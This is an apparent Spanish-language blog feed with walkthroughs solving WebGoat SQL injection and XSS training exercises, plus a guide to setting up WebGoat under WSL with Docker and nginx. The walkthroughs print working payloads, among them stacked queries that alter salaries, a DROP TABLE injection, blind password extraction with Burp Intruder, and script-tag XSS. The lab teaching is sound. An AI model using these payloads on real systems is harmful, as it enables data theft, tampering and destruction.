<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://0x832.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0x832.io/" rel="alternate" type="text/html" /><updated>2025-12-15T14:46:45+00:00</updated><id>https://0x832.io/feed.xml</id><title type="html">Hacktivo.io</title><subtitle>Posts sobre ciberseguridad y programación</subtitle><author><name>0x832</name></author><entry><title type="html">Resolución de A3 SQL Injection Advanced-Webgoat</title><link href="https://0x832.io/A3-Injection-advanced/" rel="alternate" type="text/html" title="Resolución de A3 SQL Injection Advanced-Webgoat" /><published>2025-12-13T00:00:00+00:00</published><updated>2025-12-13T00:00:00+00:00</updated><id>https://0x832.io/A3-Injection-advanced</id><content type="html" xml:base="https://0x832.io/A3-Injection-advanced/"><![CDATA[<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sqlintrro.png" alt="" /></p>

<p>En este artículo veremos cómo resolver los ejercicios SQL Injection Advanced del apartados A3 de Webgoat de forma rápida y fácil</p>

<hr />

<h2 id="ejercicio-3">Ejercicio 3</h2>
<p>En este ejercicio tendremos que conseguir los datos de una tabla sin permisos usando otra tabla con permisos</p>

<p>Empezaremos con un <strong>‘or 1=1 –</strong></p>

<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.8.png" alt="" /></p>

<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql3.1.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">;</span><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users_data</span> <span class="k">where</span> <span class="n">last_name</span><span class="o">=</span> <span class="s1">'or 1=1; select * from user_system_data;--
</span></code></pre></div></div>
<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.9.png" alt="" /></p>

<h2 id="ejercicio-5">Ejercicio 5</h2>
<p>En este ejercicio tendremos que detectar el campo vulnerable, en este caso es el apartado de <strong>username</strong>.</p>

<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.1.png" alt="" /></p>

<p>Si miramos las pistas vemos que nos dice que podemos utilizar el 
<img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.2.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">tom</span><span class="s1">' AND substring(password,1,1)='</span><span class="n">a</span> 
</code></pre></div></div>
<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.3.png" alt="" /></p>

<p>Si se investiga un poco vemos que es SQL Blind así que tendremos que aplicar la sentencia SQL probando letras ya que una letra correcta podría dar una respuesta diferente</p>

<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.4.png" alt="" /></p>

<p>Para poder agilizar este proceso usaremos <strong>Burp</strong> 
Asumiré que ya saben cómo se utiliza Burp ya que es algo esencial y básico</p>

<p>Lo que haremos será interceptar la petición y mandarlo al Intruder creando una variable a la letra que hemos introducido en la consulta <strong>tom’ AND substring(password,1,1)=’a</strong> y lanzar un ataque de fuerza bruta fijándonos en el <strong>length</strong> de la respuesta (Esto solo aplicará al primer carácter de la contraseña, para cambiar al carácter 2 tendremos que cambiar el número que apunta la flecha azul)
<img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.5.png" alt="" /></p>

<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.6.png" alt="" /></p>

<p>Una vez tenemos la contraseña debería verse algo así</p>

<p><img src="/assets/images/2025-12-13-A3-Injection-advanced/sql5.7.png" alt="" /></p>

<h2 id="finalización">Finalización</h2>

<p>Espero que hayan aprendido mucho y que esta explicación les haya servido para entender mejor cómo funcionan las SQL injection. Muchas gracias por leer el artículo, y no olviden seguirme en Github <a href="https://github.com/0x832">0x832</a> además iré subiendo resoluciones de máquinas de HTB, TryHackMe y más herramientas que vaya desarrollando.</p>]]></content><author><name>0x832</name></author><category term="SQL Injection" /><category term="WebGoat" /><category term="SQL Injection" /><category term="Advanced" /><summary type="html"><![CDATA[En este artículo veremos cómo resolver los ejercicios SQL Injection Advanced del apartado A3 de Webgoat de forma rápida y fácil]]></summary></entry><entry><title type="html">Resolución de A3 XSS Cross Site Scripting-Webgoat</title><link href="https://0x832.io/A3-XSS/" rel="alternate" type="text/html" title="Resolución de A3 XSS Cross Site Scripting-Webgoat" /><published>2025-12-13T00:00:00+00:00</published><updated>2025-12-13T00:00:00+00:00</updated><id>https://0x832.io/A3-XSS</id><content type="html" xml:base="https://0x832.io/A3-XSS/"><![CDATA[<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/solutionxxss.png" alt="" /></p>

<p>En este artículo veremos cómo resolver los ejercicios XSS del apartado A3 de Webgoat de forma rápida y fácil</p>

<hr />

<h2 id="teoria">Teoria</h2>
<p>¿Qué es XSS?</p>

<p>Cross-Site Scripting (también conocido como XSS) es una vulnerabilidad/falla que combina la aceptación de etiquetas HTML/script como entrada que se procesan en un navegador sin codificación ni sanitización
Cross-Site Scripting (XSS) es el problema de seguridad de aplicaciones web más frecuente y pernicioso</p>

<p>Si bien existe una defensa sencilla y conocida para este ataque, aún existen muchos casos en la web. La cobertura de las soluciones también suele ser un problema. Hablaremos más sobre esta defensa en breve</p>

<h2 id="ejercicio-2">Ejercicio 2</h2>
<p>En este ejercicio tendremos que ir a la consola del navegador y mandar la petición (Muy fácil)</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss2.png" alt="" /></p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss2.1.png" alt="" /></p>

<h2 id="ejercicio-7">Ejercicio 7</h2>
<p>En este apartado miraremos los campos disponibles averiguando qué campos son vulnerables o no</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss3.png" alt="" /></p>

<p>Después de un rato probando vemos que el campo <strong>la tarjeta de crédito es vulnerable</strong></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">`</span><span class="o">&lt;</span><span class="n">script</span><span class="o">&gt;</span><span class="n">alert</span><span class="o">(</span><span class="err">“</span><span class="no">XSS</span> <span class="nc">Test</span><span class="err">"</span><span class="o">)&lt;/</span><span class="n">script</span><span class="o">&gt;</span><span class="err">'</span>
</code></pre></div></div>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss3.1.png" alt="" /></p>

<h2 id="ejercicio-10">Ejercicio 10</h2>

<p>En el ejercicio 10 trata de XSS DOM, este XSS consiste en manipulando el DOM <strong>(Document Object Model)</strong>.
A diferencia del XSS clásico, el servidor no modifica la respuesta
Todo ocurre del lado del cliente mediante <strong>JavaScript</strong>.</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss10.png" alt="" /></p>

<p>Nos meteremos en inspeccionar ya que este trata de buscar ficheros js, si miramos las pistas vemos que tenemos que buscar el GoatRoute.js</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss4.png" alt="" /></p>

<p>Dentro de ese archivo en el código vemos test… si miramos bien el código
entendemos que donde pone <strong>‘test/:param’: testRoute</strong> quiere decir que cualquier url que tenga el patrón test/param activará testRoute</p>

<p>Esto se puede verificar con</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss4.1.png" alt="" /></p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss4.5.png" alt="" /></p>

<p>Una vez verificado que es vulnerable ya tendremos la ruta que es
<strong>WebGoat/start.mvc#test</strong></p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss4.2.png" alt="" /></p>

<h2 id="ejercicio-11">Ejercicio 11</h2>
<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss11.png" alt="" /></p>

<p>Una vez encontrada la vulnerabilidad de antes usaremos el <strong>webgoat.customjs.phoneHome()</strong> para realizar la actividad 11</p>

<p>Tendremos que urlencodear el <strong>webgoat.customjs.phoneHome()</strong> con Burrp</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="n">script</span><span class="o">&gt;</span><span class="n">webgoat</span><span class="o">.</span><span class="na">customjs</span><span class="o">.</span><span class="na">phoneHome</span><span class="o">()&lt;%</span><span class="mi">2</span><span class="nc">Fscript</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Una vez hecho lo pondremos en la url y tendremos que ver una respuesta como esta</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xssbur11.png" alt="" /></p>

<p>Para luego mirar la consola y encontrar el número</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss11.1.png" alt="" /></p>

<p>Esta respuesta significa que JavaScript ejecutó la función que informa el progreso de su tarea al backend de WebGoat. Básicamente webgoat.customjs.phoneHome hara que en la consola nos aparezca un número aleatorio que tendremos que colocar en la respuesta.</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xssultimo.png" alt="" /></p>

<h2 id="ejercicio-3-de-cross-site-scripting-storage">Ejercicio 3 de Cross-Site Scripting (Storage)</h2>
<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xss3storage.png" alt="" /></p>

<p>En esta práctica consiste en XSS almacenado lo cual implica poder almacenar JavaScript como una carga útil con el webgoat.customjs.phoneHome para resolver este problema básicamente lanzaremos el  <script>webgoat.customjs.phoneHome()</script> en el chat</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="n">script</span><span class="o">&gt;</span><span class="n">webgoat</span><span class="o">.</span><span class="na">customjs</span><span class="o">.</span><span class="na">phoneHome</span><span class="o">()&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Una vez se publica el código java en la consola obtendremos la respuesta</p>

<p><img src="/assets/images/2025-12-13-Cross-Site-Scripting/xsss.png" alt="" /></p>

<h2 id="finalización">Finalización</h2>

<p>Espero que hayan aprendido mucho y que esta explicación les haya servido para entender mejor cómo funcionan las XSS. Muchas gracias por leer el artículo, y no olviden seguirme en Github <a href="https://github.com/0x832">0x832</a> además iré subiendo resoluciones de máquinas de HTB, TryHackMe y más herramientas que vaya desarrollando.</p>]]></content><author><name>0x832</name></author><category term="XSS" /><category term="WebGoat" /><category term="Cross-Site Scripting" /><category term="Easy" /><summary type="html"><![CDATA[En este artículo veremos cómo resolver los ejercicios XSS del apartado A3 de Webgoat de forma rápida y fácil]]></summary></entry><entry><title type="html">Resolución de A3 SQL injection introduction Webgoat</title><link href="https://0x832.io/A3-Injection/" rel="alternate" type="text/html" title="Resolución de A3 SQL injection introduction Webgoat" /><published>2025-12-12T00:00:00+00:00</published><updated>2025-12-12T00:00:00+00:00</updated><id>https://0x832.io/A3-Injection</id><content type="html" xml:base="https://0x832.io/A3-Injection/"><![CDATA[<p><img src="/assets/images/2025-12-12-Webgoat-A4/introduccion.png" alt="" /></p>

<h2 id="en-este-artículo-veremos-cómo-resolver-la-introducción-de-sql-injection-del-apartado-a3-de-webgoat-de-forma-rápida-y-fácil">En este artículo veremos cómo resolver la introducción de sql injection del apartado A3 de Webgoat de forma rápida y fácil</h2>

<h1 id="sql-injectionintro">SQL Injection(Intro)</h1>

<p>SQL es un lenguaje de programación estandarizado (ANSI en 1986, ISO en 1987) que se utiliza para gestionar bases de datos relacionales y realizar diversas operaciones sobre los datos que contienen.</p>

<p>Una base de datos es una colección de datos. Estos se organizan en filas, columnas y tablas, y se indexan para facilitar la búsqueda de información relevante.</p>

<h2 id="ejercicio-2">Ejercicio 2</h2>
<p>Para resolver este Ejercicio simplemente tenemos que hacer una consulta a la tabla <strong>Employees</strong> para seleccionar el departamento</p>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql2.1.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">department</span> <span class="k">FROM</span> <span class="n">employees</span> <span class="k">WHERE</span> <span class="n">first_name</span> <span class="o">=</span> <span class="s1">'Bob'</span>
</code></pre></div></div>
<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql2.png" alt="" /></p>

<h2 id="ejercicio-3">Ejercicio 3</h2>
<p>Para resolver este Ejercicio simplemente tenemos que cambiar el departamento de Tobi Barnett a Ventas</p>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql3.1.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="n">employees</span> <span class="k">SET</span> <span class="n">department</span> <span class="o">=</span> <span class="s1">'Sales'</span> <span class="k">WHERE</span> <span class="n">first_name</span> <span class="o">=</span> <span class="s1">'Tobi'</span><span class="p">;</span>

</code></pre></div></div>
<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql3.png" alt="" /></p>

<h2 id="ejercicio-4">Ejercicio 4</h2>

<p>Para resolver este Ejercicio simplemente tenemos que añadir el campo phone en la tabla employees. Como podemos ver, los ejercicios consisten en consultas SQL para acostumbrarnos a la dinámica</p>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql4.1.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">ALTER</span> <span class="k">TABLE</span> <span class="n">employees</span> <span class="k">ADD</span> <span class="k">COLUMN</span> <span class="n">phone</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">20</span><span class="p">);</span>
</code></pre></div></div>
<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql4.png" alt="" /></p>

<h2 id="ejercicio-5">Ejercicio 5</h2>
<p>Para resolver este Ejercicio simplemente tenemos que dar permisos al usuario <strong>authorized_user</strong> a la tabla <strong>grant_rights</strong>
<img src="/assets/images/2025-12-12-Webgoat-A4/sql5.1.png" alt="" /></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">GRANT</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="n">grant_rights</span> <span class="k">TO</span> <span class="n">authorized_user</span><span class="p">;</span>

</code></pre></div></div>
<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql5.png" alt="" /></p>

<h2 id="ejercicio--9">Ejercicio  9</h2>
<p>Una vez hemos realizado las primeras sentencias SQL tocará practicar cómo hacer SQL Injection
<img src="/assets/images/2025-12-12-Webgoat-A4/sql9.1.png" alt="" /></p>

<p>Para ver cuál tiene una respuesta que llame la atención
<img src="/assets/images/2025-12-12-Webgoat-A4/sql9.png" alt="" /></p>

<p>Cuando en el formulario escribimos  <strong>smith’ OR ‘1’=’1</strong> lo que hacemos es romper la consulta SQL original y agregar una condición que siempre es verdadera.</p>

<p>Lo que quiere decir esto es que la consulta normal sería algo cómo</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_data</span> 
<span class="k">WHERE</span> <span class="n">first_name</span><span class="o">=</span><span class="s1">'John'</span> <span class="k">AND</span> <span class="n">last_name</span><span class="o">=</span><span class="s1">'smith'</span><span class="p">;</span>
</code></pre></div></div>
<p>Pero con la inyección sería algo cómo</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_data</span> 
<span class="k">WHERE</span> <span class="n">first_name</span><span class="o">=</span><span class="s1">'John'</span> <span class="k">AND</span> <span class="n">last_name</span><span class="o">=</span><span class="s1">'smith'</span> <span class="k">OR</span> <span class="s1">'1'</span><span class="o">=</span><span class="s1">'1'</span><span class="p">;</span>
</code></pre></div></div>
<p>La parte ‘1’=’1’ siempre es verdadera, por lo tanto, la condición del WHERE se vuelve verdadera para todos los registros y la base de datos devuelve todas las filas, aunque el apellido no sea <strong>smith</strong></p>

<h2 id="ejercicio--10">Ejercicio  10</h2>

<p>En este punto tendrémos que detectar qué entrada es vulnerable a un SQL Injection</p>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql10.1.png" alt="" /></p>

<p>Para descubrir el campo vulnerable simplemente tendrémos que poner <strong>1=’1’</strong> en uno de los dos campos para ver cual tiene una respuesta que llame la atención</p>

<p>Una vez detectamos el campo vulnerable lanzaremos el ataque</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">0</span> <span class="k">OR</span> <span class="mi">1234</span><span class="o">=</span><span class="mi">1234</span>
</code></pre></div></div>
<p>El <strong>OR 1 = 1</strong> es una condición que siempre será verdadera, ya que 1 siempre es igual a 1. Esto significa que, sin importar lo que esté en el resto de la consulta, la consulta siempre devolverá todos los registros.</p>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql10.png" alt="" /></p>

<h2 id="ejercicio--11">Ejercicio  11</h2>

<p>Tendremos que descubrir el salario de los trabajadores
<img src="/assets/images/2025-12-12-Webgoat-A4/sql11.1.png" alt="" /></p>

<p>Para poder realizar este apartado tendremos que hacer como antes, encontrar el campo vulnerable y atacarlo</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">3</span><span class="n">SL99A</span><span class="s1">' OR '</span><span class="mi">1</span><span class="s1">' = '</span><span class="mi">1</span>
</code></pre></div></div>
<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql11.png" alt="" /></p>

<h2 id="ejercicio--12">Ejercicio  12</h2>
<p>Aquí tendremos que concatenar consultas para modificar el salario</p>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql12.1.png" alt="" /></p>

<p>El punto y coma ; separa dos consultas SQL. Lo que pasa es que en muchas aplicaciones vulnerables a inyección SQL, no se valida correctamente la entrada del usuario. Esto permite que el atacante ejecute múltiples consultas SQL en una sola ejecución</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s1">' OR 1=1; UPDATE employees SET SALARY = 99999 WHERE FIRST_NAME = '</span><span class="n">John</span><span class="s1">'; --
</span></code></pre></div></div>
<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql12.png" alt="" /></p>

<h2 id="ejercicio--13">Ejercicio  13</h2>

<p>En esta práctica aplicaremos una consulta SQL para borrar una tabla; si leemos la práctica, nos pide que borremos la tabla access_logs
<img src="/assets/images/2025-12-12-Webgoat-A4/sql13.1.png" alt="" /></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s1">'; DROP TABLE access_log; --

</span></code></pre></div></div>

<p><img src="/assets/images/2025-12-12-Webgoat-A4/sql13.png" alt="" /></p>

<h2 id="finalización">Finalización</h2>

<p>Espero que hayan aprendido mucho y que esta explicación les haya servido para entender mejor cómo funcionan las SQL injection. Muchas gracias por leer el artículo, y no olviden seguirme en Github <a href="https://github.com/0x832">0x832</a> además iré subiendo resoluciones de máquinas de HTB, TryHackMe y más herramientas que vaya desarrollando.</p>]]></content><author><name>0x832</name></author><category term="SQL Injection" /><category term="WebGoat" /><category term="SQL Injection" /><category term="Easy" /><summary type="html"><![CDATA[En este artículo veremos cómo resolver la introducción de sql injection del apartado A3 de Webgoat de forma rápida y fácil]]></summary></entry><entry><title type="html">Subsistema Ubuntu con entorno vulnerable</title><link href="https://0x832.io/subsistema-con-entorno-vulnerable/" rel="alternate" type="text/html" title="Subsistema Ubuntu con entorno vulnerable" /><published>2025-12-07T00:00:00+00:00</published><updated>2025-12-07T00:00:00+00:00</updated><id>https://0x832.io/subsistema-con-entorno-vulnerable</id><content type="html" xml:base="https://0x832.io/subsistema-con-entorno-vulnerable/"><![CDATA[<p><img src="/assets/images/2025-07-12-subsistema_con_entorno_vulnerable/wwebgoat.png" alt="" /></p>

<p>Hola a todos. Hoy les presentaré un artículo en el que explicaré cómo crear un subsistema Ubuntu en <strong>Windows (WSL)</strong> para preparar un entorno de pruebas con <strong>WebGoat</strong>. Una vez configurado el entorno, también veremos cómo automatizar el servicio para que se inicie automáticamente al acceder al subsistema</p>

<p><br /></p>

<h1 id="instalación-del-volumen">Instalación del volumen</h1>

<ul>
  <li>Para empezar, abriremos <strong>PowerShell</strong> y escribiremos este comando para instalar el subsistema de Ubuntu
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  PS C:<span class="se">\W</span>INDOWS<span class="se">\&gt;</span> wsl <span class="nt">--install</span> <span class="nt">-d</span> Ubuntu <span class="nt">--name</span> Ubuntu_webgoat
  Descargando: Ubuntu
  Instalando: Ubuntu
  Distribución instalada correctamente. Se puede iniciar a través de <span class="s2">"wsl.exe -d Ubuntu_webgoat"</span>
  Iniciando Ubuntu_webgoat...
  Provisioning the new WSL instance Ubuntu_webgoat
  This might take a <span class="k">while</span>...
  Create a default Unix user account: webgoat
  New password:
  Retype new password:
  passwd: password updated successfully
  To run a <span class="nb">command </span>as administrator <span class="o">(</span>user <span class="s2">"root"</span><span class="o">)</span>, use <span class="s2">"sudo &lt;command&gt;"</span><span class="nb">.</span>
  See <span class="s2">"man sudo_root"</span> <span class="k">for </span>details.

  webgoat@user:~<span class="nv">$ </span><span class="nb">whoami
  </span>webgoat
</code></pre></div>    </div>
    <p>Una vez instalado, actualizaremos el sistema e instalaremos Docker y esto</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  root@user:/home/webgoat# <span class="nb">sudo </span>apt update <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>apt upgrade <span class="nt">-y</span>
  Get:1 http://security.ubuntu.com/ubuntu noble-security InRelease <span class="o">[</span>126 kB]
  Hit:2 http://archive.ubuntu.com/ubuntu noble InRelease
  Get:3 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages <span class="o">[</span>1349 kB]
  Get:4 http://archive.ubuntu.com/ubuntu noble-updates InRelease <span class="o">[</span>126 kB]  
  ...  
</code></pre></div>    </div>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  root@user:/home/webgoat# <span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> docker.io
  Reading package lists... Done
  Building dependency tree... Done
  Reading state information... Done
  The following package was automatically installed and is no longer required:
    libllvm19
  Use <span class="s1">'sudo apt autoremove'</span> to remove it.
  The following additional packages will be installed:
    bridge-utils containerd dns-root-data dnsmasq-base iptables libip4tc2 libip6tc2 libnetfilter-conntrack3

</code></pre></div>    </div>
    <p>Activaremos el servicio Docker para que se inicie nada más iniciar Ubuntu</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@user:/home/webgoat# <span class="nb">sudo </span>systemctl <span class="nb">enable</span> <span class="nt">--now</span> docker
</code></pre></div>    </div>

    <h1 id="creación-del-servicio-webgoat">Creación del servicio webgoat</h1>

    <p>Para poder crear el servicio, generaremos un fichero llamado <strong>webgoat.service</strong> en <strong>/etc/systemd/system/webgoat.service</strong></p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="o">[</span>Unit]
  <span class="nv">Description</span><span class="o">=</span>WebGoat Docker Service
  <span class="nv">After</span><span class="o">=</span>docker.service
  <span class="nv">Requires</span><span class="o">=</span>docker.service

  <span class="o">[</span>Service]
  <span class="nv">Restart</span><span class="o">=</span>always
  <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/docker run <span class="nt">--rm</span> <span class="se">\</span>
    <span class="nt">-p</span> 8080:8080 <span class="se">\</span>
    <span class="nt">-e</span> <span class="nv">TZ</span><span class="o">=</span>Europe/Madrid <span class="se">\</span>
    <span class="nt">--name</span> webgoat <span class="se">\</span>
    webgoat/webgoat:latest
  <span class="nv">ExecStop</span><span class="o">=</span>/usr/bin/docker stop webgoat

  <span class="o">[</span>Install]
  <span class="nv">WantedBy</span><span class="o">=</span>multi-user.target
</code></pre></div>    </div>

    <p>Una vez creado, activaremos el <strong>deamon</strong> y el nuevo servicio <strong>webgoat</strong></p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  root@userr:/home/webgoat# <span class="nb">sudo </span>systemctl daemon-reload
  root@userr:/home/webgoat# <span class="nb">sudo </span>systemctl <span class="nb">enable</span> <span class="nt">--now</span> webgoat
  Created symlink /etc/systemd/system/multi-user.target.wants/webgoat.service → /etc/systemd/system/webgoat.service.
  root@userr:/home/webgoat#
</code></pre></div>    </div>
    <p>Y verificaremos que se ha ejecutado sin ningún problema con <code class="language-plaintext highlighter-rouge">sudo systemctl status webgoat</code></p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  root@user:/home/webgoat# <span class="nb">sudo </span>systemctl status webgoat
  ● webgoat.service - WebGoat Docker Service
      Loaded: loaded <span class="o">(</span>/etc/systemd/system/webgoat.service<span class="p">;</span> enabled<span class="p">;</span> preset: enabled<span class="o">)</span>
      Active: active <span class="o">(</span>running<span class="o">)</span> since Sun 2025-12-07 20:20:20 CET<span class="p">;</span> 1min 26s ago
    Main PID: 4819 <span class="o">(</span>docker<span class="o">)</span>
        Tasks: 9 <span class="o">(</span>limit: 18605<span class="o">)</span>
      Memory: 9.0M <span class="o">(</span>peak: 9.5M<span class="o">)</span>
          CPU: 92ms
      CGroup: /system.slice/webgoat.service
              └─4819 /usr/bin/docker run <span class="nt">--rm</span> <span class="nt">-p</span> 8080:8080 <span class="nt">-e</span> <span class="nv">TZ</span><span class="o">=</span>Europe/Madrid <span class="nt">--name</span> webgoat webgoat/webgoat:latest

</code></pre></div>    </div>
  </li>
</ul>

<h1 id="instalación-de-nginx">Instalación de nginx</h1>

<p>Para poder cargar automáticamente el servicio WebGoat, tendremos que instalar Nginx</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  root@user:/home/webgoat# <span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> nginx
  Hit:1 http://security.ubuntu.com/ubuntu noble-security InRelease
  Hit:2 http://archive.ubuntu.com/ubuntu noble InRelease
  Hit:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease
  Hit:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease
  ...
</code></pre></div></div>
<p>Verificaremos que el servicio esté activo</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
root@user:/home/webgoat# systemctl  <span class="nb">enable </span>nginx
Synchronizing state of nginx.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install <span class="nb">enable </span>nginx
root@user:/home/webgoat#


root@user:/home/webgoat# <span class="nb">sudo </span>systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded <span class="o">(</span>/usr/lib/systemd/system/nginx.service<span class="p">;</span> enabled<span class="p">;</span> preset: enabled<span class="o">)</span>
     Active: active <span class="o">(</span>running<span class="o">)</span> since Sun 2025-12-07 20:20:45 CET<span class="p">;</span> 40s ago
       Docs: man:nginx<span class="o">(</span>8<span class="o">)</span>
    Process: 7515 <span class="nv">ExecStartPre</span><span class="o">=</span>/usr/sbin/nginx <span class="nt">-t</span> <span class="nt">-q</span> <span class="nt">-g</span> daemon on<span class="p">;</span> master_process on<span class="p">;</span> <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
    Process: 7517 <span class="nv">ExecStart</span><span class="o">=</span>/usr/sbin/nginx <span class="nt">-g</span> daemon on<span class="p">;</span> master_process on<span class="p">;</span> <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
   Main PID: 7559 <span class="o">(</span>nginx<span class="o">)</span>
      Tasks: 17 <span class="o">(</span>limit: 18605<span class="o">)</span>

</code></pre></div></div>

<h2 id="crearemos-el-fichero-entornoprueba">Crearemos el fichero entorno.prueba</h2>

<p>Se creará el fichero en <strong>/etc/nginx/sites-available/entorno.prueba</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c"># Redirigir cualquier petición por IP al dominio</span>
  server <span class="o">{</span>
      listen 80<span class="p">;</span>
      server_name _<span class="p">;</span>  <span class="c"># captura cualquier host no definido</span>

      <span class="k">return </span>301 http://entorno.prueba<span class="nv">$request_uri</span><span class="p">;</span>
  <span class="o">}</span>

  <span class="c"># Configuración principal del dominio</span>
  server <span class="o">{</span>
      listen 80<span class="p">;</span>
      server_name entorno.prueba www.entorno.prueba<span class="p">;</span>

      location / <span class="o">{</span>
          proxy_pass http://127.0.0.1:8080/WebGoat/<span class="p">;</span>
          proxy_set_header Host <span class="nv">$host</span><span class="p">;</span>
          proxy_set_header X-Real-IP <span class="nv">$remote_addr</span><span class="p">;</span>
          proxy_set_header X-Forwarded-For <span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span>
      <span class="o">}</span>
  <span class="o">}</span>

</code></pre></div></div>

<p>Crear enlace simbólico, esto activara la configuración del sitio <strong>entorno.prueba</strong>. Una vez realizado esto recargaremos Nginx para aplicar los cambios</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  root@user:/home/webgoat# <span class="nb">sudo ln</span> <span class="nt">-s</span> /etc/nginx/sites-available/entorno.prueba /etc/nginx/sites-enabled/
 /etc/nginx/sites-enabled/
  root@user:/home/webgoat# <span class="nb">sudo </span>nginx <span class="nt">-t</span>
  2025/12/07 13:09:52 <span class="o">[</span>warn] 8728#8728: conflicting server name <span class="s2">"_"</span> on 0.0.0.0:80, ignored
  nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
  nginx: configuration file /etc/nginx/nginx.conf <span class="nb">test </span>is successful
  root@user:/home/webgoat#

  root@user:/home/webgoat# <span class="nb">sudo </span>systemctl reload nginx
  root@user:/home/webgoat#

